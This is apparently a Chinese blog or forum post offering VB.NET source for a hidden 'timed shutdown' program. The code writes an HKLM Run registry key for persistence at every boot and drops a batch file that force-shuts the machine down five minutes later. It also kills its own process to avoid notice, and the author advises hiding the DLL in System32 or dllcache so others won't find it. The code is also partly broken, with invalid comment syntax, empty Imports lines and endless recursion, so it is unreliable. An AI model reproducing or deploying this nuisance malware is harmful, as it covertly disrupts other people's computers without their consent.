用编写的定时关机程序,先编写了一个dll链接库为的是隐蔽作用:

程序代码:
Imports
Imports System
Public Class Class1
Public Function buffer()
Dim a As Integer
Dim i As Integer = Minute(Now)
Dim j As Integer = Hour(Now)
a = i + 5
Dim path As String = "c:\VB.bat"
Dim path1 As String = "D:\My Documents\Visual Studio 2005\Projects\传递\传递\bin\Debug\传递.exe"
Dim fil1 As New FileInfo(path)
Dim MyReg As Microsoft.Win32.RegistryKey
MyReg = Microsoft.Win32.Registry.LocalMachine
MyReg = MyReg.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\run")
//修改注册表保证每次开机都加载指定的程序
MyReg.SetValue("传递.exe", path1)
MyReg.Close()
If fil1.Exists = False Then
File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f")
//该函数规定了5分钟后关机
//我选取生成bat文件来关机,未采取API函数来关机
Else
File.Delete(path)
File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f")
End If
Dim id As String
id = Shell("""c:\VB.bat"" -a -q", , True, 100000)
Dim process As System.Diagnostics.Process
For Each process In System.Diagnostics.Process.GetProcesses
If process.ProcessName = "传递" Then
process.Kill()
End If
Next
//遍历进程管理器,Kill掉该进程,时期隐蔽
Return buffer()
End Function
Private Function Shell(ByVal PathName As String, Optional ByVal Style As AppWinStyle = AppWinStyle.MinimizedFocus, Optional ByVal Wait As Boolean = False, Optional ByVal Timeout As Integer = -1) As Integer
Dim procID As Integer
Dim newProc As Diagnostics.Process
newProc = Diagnostics.Process.Start("c:\VB.bat")
procID = newProc.Id
newProc.WaitForExit()
Dim procEC As Integer = -1
If newProc.HasExited Then
procEC = newProc.ExitCode
End If
End Function
//这里用的专门的API执行函数,提高效率
End Class
/这个DLL函数可以放到System32下,也可以放到更新版本后的WindowsXP系统dllCache文件里.
执行dll文件函数:
Imports
Imports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim path As String = "c:\VB.bat"
Dim file As New FileInfo(path)
file.Delete()
Dim MyDll As New 定时关机.Class1
//加载定时关机dll函数
Dim MyResult As String = MyDll.buffer()
End Sub
End Class
这是主执行体,每次执行该函数时都会自动隐蔽窗体不别人发现
程序有些问题,具体的你自己改就可以了!
我博客太多了,不知道是哪个?具体看我百度博客上面吧!http://hi.baidu.com/dyqq1234/blog/item/3c796654523298ccb745ae1a.html